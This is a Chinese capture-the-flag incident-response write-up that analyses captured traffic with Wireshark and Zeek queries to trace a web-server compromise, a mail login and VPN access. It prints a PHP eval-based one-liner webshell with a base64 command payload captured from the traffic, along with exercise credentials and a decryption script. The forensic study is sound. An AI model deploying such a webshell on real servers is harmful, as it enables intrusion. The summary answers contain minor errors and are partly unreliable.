之前找到了了一个应急响应的流量包,但不知道是什么比赛的,觉得很不错,所以今天给大家拿来讲解一下,这其中也是有着一些新知识;
文章目录
题目背景
某企业网络近期发生未经授权的访问事件。经安全团队初步研判,已知攻击链路如下:攻击者首先突破了企业对外暴露的Web服务器,并成功获取后台管理凭据。随后,利用密码复用登录内部Mail系统,通过信息收集获取了内部VPN的配置与接入方式。
攻击者借此成功接入企业内网。进入内网后,为建立隐蔽的持久化据点并进行横向移动,攻击者利用已知漏洞攻陷了一台内网网络打印机,并获取了该设备的控制权。
现提供本次安全事件的完整PCAP流量包,请对流量特征进行分析,还原攻击细节,并回答以下技术问题。
bash
1.某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器?
2.某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是?
3.某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台?
4.某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码?
5.某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么?
6.某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少?
7.某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么?
8.某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么?
9.某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip?
10.某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆?
11.某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少?
下载链接
链接:https://pan.baidu.com/s/1rlKVlXtCR794E7ZQPhQf6Q
提取码:lulu
具体流量内容如下:

话不多说,我们直接开始溯源分析;
溯源过程
我们根据题目描述,可以知道攻击者的攻击链路:
bash
攻击入侵Web服务器 -→ 利用密码进入mail系统 -→ 信息收集内部VPN -→ 攻入内网
==流量包的查看顺序也应如此==
所以我们首先将目光放在webone.pcap和webtwo.pacp两个流量包里:
webone.pacp流量包分析
分别分析一下里面都有哪些可以IP以及访问的次数;
bash
count() by id.orig_h,status_code,http | status_code==404
count() by id.orig_h,status_code,http | status_code==200
# 统计出现过的IP地址
_path=="conn" | count() by id.orig_h | sort -r



所有出现过的IP地址:

这里我们大概可以得到攻击者的IP:
- 攻击IP:
192.168.94.59
(1)攻击者使用的扫描器
根据题目要求的 "黑客使用的扫描器",这里我们可以参考之前写过的文章:
这里我们在Wireshark里输入相应扫描器的过滤表达式,好巧不巧,发现了如下结果:
bash
http contains "Acunetix"
http contains "bxss.me"

攻击者也是很"粗心",没有修改扫描器的默认配置,导致我们很容易就发现了Acunetix关键词;
(2)黑客扫描到的登陆后台是?
既然是"后台登陆",那么一般来说都会含有关键字:
- admin
- login
- system
- 同时提交账号密码的时候,一般都会使用
POST进行传参;
结合上述思路,我们可以对流量包进行相应的过滤:
bash
# 统计访问过的Web目录
_path=="http" id.orig_h==192.168.94.59 status_code==200 | count() by uri | sort -r
结果如下:

可以看到,很明显的/admin/login.php?rec=login,应该就是攻击者访问的后台登陆地址了;
当然我们也可以用Wireshark进行过滤访问:
bash
http.request.method == "POST"

同样能够得到结果;
(3)使用了什么账号密码登陆了web后台?
-
黑客在爆破密码时会产生大量的失败请求(通常状态码为
200并伴随错误提示,或者401/403)。 -
当爆破成功 时,状态码通常会变成
302(重定向到后台首页)或长度发生明显变化的 200;
bash
# 过滤所有 POST 请求并观察状态码
_path=="http" id.orig_h==192.168.94.59 method=="POST" | cut ts, uri, status_code, response_body_len
# 后台登录成功后会进行跳转
_path=="http" id.orig_h==192.168.94.59 method=="POST" status_code==302 | cut ts, id.orig_p, uri, status_code
结果如下:

第一条命令如上,我们可以得到攻击者不仅登陆了后台,还上传了一个a.php可疑文件;

第二条命令如上,我们得到了攻击者成功登陆的流量记录(时间戳)
随后我们进入Wireshark进行查看详细内容(这里问了下GPT,如何查找):
bash
# 推荐用 frame.time_epoch转换时间戳
# 2018-08-08T08:11:45.546131Z 转化为 1533715905.546131
frame.time_epoch == 1533715905.546131
精确得到结果:

查看详细内容:

怎么验证是否真的进入了系统呢,那就直接查看下一个包(第72638包)不就好了吗?

可以看到,URL进行了跳转,很明显就是后台页面;
所以我们得到了相应的账号密码:
bash
user_name=admin&password=admin%21%40%23pass123&submit=%E7%99%BB%E5%BD%95
- 账号:admin
- 密码:
admin!@#pass123
(4)上传的webshell文件名是,内容是什么,提交webshell内容的base编码
这里我们上述分析得到了结果,Webshell的文件名为a.php,再查看其相应内容:

先对其进行过滤:
bash
http.request.method=="POST" and ip.src==192.168.94.59 and http

详细内容如下:

bash
1234=@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
发现以1234为传递值(很明显的一句话木马特征),并且经过base64编码的密文,解密之后发现为php代码:

我们得到的流量包是"上传后执行命令的",而不是第一次上传时的木马内容;
所以我们需要找到第一次上传木马时的流量记录:
bash
http contains "<?php @eval"
# 发现并没有数据,考虑可是能tcp重传 导致,在此使用过滤
tcp contains "<?php @eval"
原因:
http contains "<?php @eval"查不到,而tcp contains "<?php @eval"能查到,是因为前者只能在 Wireshark 已经成功解析成 HTTP 的数据里搜索,但如果流量存在 TCP 重传、分包、乱序或 HTTP 解析失败,Wireshark 就无法正确识别 HTTP 内容;- 而
tcp contains是直接在 TCP 原始负载里匹配字符串,不依赖 HTTP 解析,所以即使流量异常、重传或不完整,也依然能搜到这段 WebShell 特征。
结果如下:


成功得到答案;
(5)在robots.txt中找到的flag是什么
这更是简单,直接把关键词都说出来了:
bash
http contains "robots.txt"
查看详细内容:


这里应该查看"HTTP流",而不是查看"TCP流";
webtwo.pacp流量包分析
这里我们可以看到,该流量包主要是数据库的记录结果:

查看一下数据库出现过的IP地址(这里就不是外网地址了,一般都是内网地址)
bash
# 统计出现过的IP地址
_path=="conn" | count() by id.orig_h | sort -r

(6)黑客找到的数据库密码是多少?
终于到第二个流量包了,既然是数据库密码,那么我们应该想到如下关键词:
- mysql
- database
- dbpass
- dbuser
bash
# 全局搜索一下关键词
"mysql" or "database" or "dbpass" or "dbuser"

可以看到虽然有结果,但还包含了查询语句(数量过多,不容易找到关键结果);
继续使用Wireshark进行过滤:数据库登陆成功,那么http的响应码为200
bash
http.response.code==200 and http contains "database"
成功得到结果:


结果如下:
bash
// database host
$dbhost = "10.3.3.101";
// database name
$dbname = "web";
// database username
$dbuser = "web";
// database password
$dbpass = "e667jUPvJjXHvEUv";
(7)黑客在数据库中找到的hash_code是什么?
既然是搜索hash_code,那肯定要用到select语句,直接查找关键字:
bash
_path=="mysql" cmd=="query" "hash_code" success==true | cut ts, arg, rows

但很可惜,这个工具失败了,因为由一万多条记录;
只能使用Wireshark了,因为之前知道了数据库的IP地址:
bash
ip.src==10.3.3.101 and tcp contains "hash_code"

查看详细内容:

--
(8)破解了账号ijnu@test.com得到的密码是什么?
直接在 "分组字节流" 进行查询账号ijnu@test.com分组详情,根据字符串查询:

查看详细内容:

bash
/....SELECT * FROM `dou_admin` ORDER BY user_id ASC
.....9....def.web dou_admin dou_admin.user_id.user_id.?......#B...=....def.web dou_admin dou_admin user_name user_name.!...........5....def.web dou_admin dou_admin.email.email.!...........;....def.web dou_admin dou_admin.password.password.!.`.........A....def.web dou_admin dou_admin.action_list.action_list.!...........;....def.web dou_admin dou_admin.add_time.add_time.?...........?....def.web dou_admin dou_admin
last_login
last_login.?...........9.. .def.web dou_admin dou_admin.last_ip.last_ip.!.-............
...".`....1.admin.admin@test.com f2035d746a5c2752e57c4478a2b6e57a.ALL
1478789095
1533645058
192.168.94.68a....5........hr@test.com 2a85d7e7551ffcb843535702ca15c736.ADMIN
1480085158
1533710477.192.168.94.233m..
.6 ..........xiaolan.qian@test.com 8d9e34fdb496166ee8fd1aa77e3240cb.ADMIN
1480346343
1480430235
172.16.66.129d....7.xiruo.ruo.xi@test.com c57954b2746d66dd149a742d4ab291ab.ADMIN
1480349823
1530779016.192.168.28.215O....8.qkk.kunkun.qin@test.com 902e14267dbf1fcc898d43820df5f4dc.ADMIN
1480349879.0.O....16........xuyang@test.com 5d9b889568c95ab74dd10d03cde6e98a.ADMIN
1480351475.0.P....17 .........
sool@test.com 9c0db863d780c6d990b65fca29cdd5ba.ADMIN
1530779627.0.P....18 .........
holo@test.com 86e980cf7e30641e9e0901fe4545f402.ADMIN
1530779689.0.P....19 .........
ijnu@test.com b78f5aa6e1606f07def6e839121a22ec.ADMIN
1530779719.0.Q....20........meirenle@test.com fe04c5d64e93be146143c3c1a1efbf0a.ADMIN
1530779767.0........".
对内容进行md5解密,得到结果:

--
(9)被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip?
一般来说根据经验,网卡名字一般为eth0或者ens33,利用关键词过滤:
bash
tcp contains "ens33"
tcp contains "eth0"
成功得到结果:


结果如下:
- eth0 ip为192.168.32.189
- eth1 ip为10.3.3.100
mailtwo.pacp流量包分析
这里我们接着分析内部邮箱的流量;
(10)黑客使用了什么账号登陆了mail系统
本关参考了
网上WP;
因为是账号密码,所以还是使用POST进行登陆:
bash
http.request.method==POST && http contains "mail"
发现大部分都是登陆包:

不过观察了一会后,发现自从这个包后,不再出现login.php:

(这个包确实是登陆成功后的跳转包)
所以我们需要找到上一个登陆包(随便找一个login包)

发现密码确是加密的;
接下来我们需要寻找相应的"加密方式",才能逆向出密码;


这里我们发现了加密的方式,以及偏移量IV,AES密钥:
js
var loginCheck = function(form) {
// 判断用户名是否为空
if (form.username.value == "") {
alert("用户名不能为空");
form.username.focus();
return false;
}
// 判断密码是否为空
if (form.password.value == "") {
alert("密码不能为空");
form.password.focus();
return false;
}
// 用户名和密码都不为空时
else {
// 对字符串进行 MD5 计算,生成 AES 密钥
var key_hash = CryptoJS.MD5('1234567812345678');
// 将密钥转换为 UTF-8 格式
var key = CryptoJS.enc.Utf8.parse(key_hash);
// 设置 AES 加密的 IV(偏移量)
var iv = CryptoJS.enc.Utf8.parse('1234567812345678');
// 使用 AES-CBC 模式加密密码
form.password.value = CryptoJS.AES.encrypt(
form.password.value, // 要加密的密码
key, // AES 密钥
{
iv: iv, // IV 向量
mode: CryptoJS.mode.CBC, // CBC 模式
padding: CryptoJS.pad.ZeroPadding // ZeroPadding 填充
}
);
}
}
取出来发现是AES的CBC加密,填充格式为ZeroPadding;
在mailtwo.pcap中过滤http,第三条数据的Cookie中发现了 login_name=wenwenni字段,并且是action=logout

(这条记录后,不再出现POST传参,所以猜测应该是登陆成功了;)


随后查看下一个包,发现登录用户依然为wenwenni,因为这个用户刚刚推出,所以猜测是使用cookie登录的,查看一下返回数据44号中出现{"success":true},代表登陆成功。
所以使用语句过滤一下:
bash
(http contains "\"success\":true" or http.request.method == "POST") and ip.addr == 192.168.94.59
显示出post请求成功的返回结果,发现是在爆破,并且直到mailtwo.pcap的最后也未爆破成功。于是打开mailtwo1.pcap,用相同的过滤条件试试,发现几条数据,从后往前看,发现No.18152是登陆成功的返回结果,那对应的No.17126则就是正确的加密后的密码。


结合之前的偏移量IV 和密钥key ,我们可以对加密结果Form item: "password" = "+ZgE14UGcFcyRGLI0/ZXPQ=="进行解密:
- 取出来发现是AES的CBC加密,填充格式为ZeroPadding
- 密钥为字符串1234567812345678的md5值
- 偏移量为1234567812345678

然后解密字符串:+ZgE14UGcFcyRGLI0/ZXPQ==
python
from Crypto.Cipher import AES
import base64
# 密文
cipher_text = "+ZgE14UGcFcyRGLI0/ZXPQ=="
# 正确key(32字节)
key = "d959caadac9b13dcb3e609440135cf54".encode()
# iv
iv = "1234567812345678".encode()
# Base64解码
cipher_data = base64.b64decode(cipher_text)
# AES-CBC 解密
cipher = AES.new(key, AES.MODE_CBC, iv)
# 解密
plain_text = cipher.decrypt(cipher_data)
# 去除 ZeroPadding
plain_text = plain_text.rstrip(b'\x00')
print("原始字节:", plain_text)
print("解密结果:", plain_text.decode())
得到结果:admin!@#PASS123

vpn.pacp流量包分析
(11)黑客获得的vpn的ip是多少?
本关同样参考网上WP;
我们打开vpnone.pcap,发现:

vpnone.pcap应该只是在尝试登陆VPN,再来查看下vpntwo.pcap
在统计------>IPV4中发现:

10.3.4.96 、10.3.4.55 、10.3.4.3出现的次数最多:
先过滤一下SMB,发现10.3.4.96是SMB服务器,排除,再来查询下10.3.4.55:
bash
ip.addr==10.3.4.55

所以,第一个包在尝试登陆vpn,第二个包登陆上了vpn,然后第二个包 从 统计->对话 发现10.3.4.3和10.3.4.96发出的包比较多,而且过滤一下smb发现10.3.4.96是smb服务器,筛选10.3.4.55(另一个流量大点的地址)发现是10.3.4.3先ping它的,基本可以确定10.3.4.3就是黑客的vpn IP;
最后两关确实没遇到过,也算是学习了一遍新知识;
总结
bash
- 攻击者使用的扫描器:AWVS
- 攻击者登陆的后台地址:/admin/login.php?rec=login
- 使用的账号密码登陆:admin / admin!@#pass123
- 提交的文件名,base编码内容: a.php
- robots.txt内容:flag:87b7cb79481f317bde90c116cf36084b
- 数据库密码:e667jUPvJjXHvEUv
- hash_code d1c029893df40cb0f47bcf8f1c3c17ac
- 破解账号得到的密码:edc123!@#
- 网卡配置:192.168.32.189 / 10.3.3.100
- 登陆的账号:admin!@#PASS123
- 黑客IP:10.3.4.3
期待下次再见;保持不断学习的能力;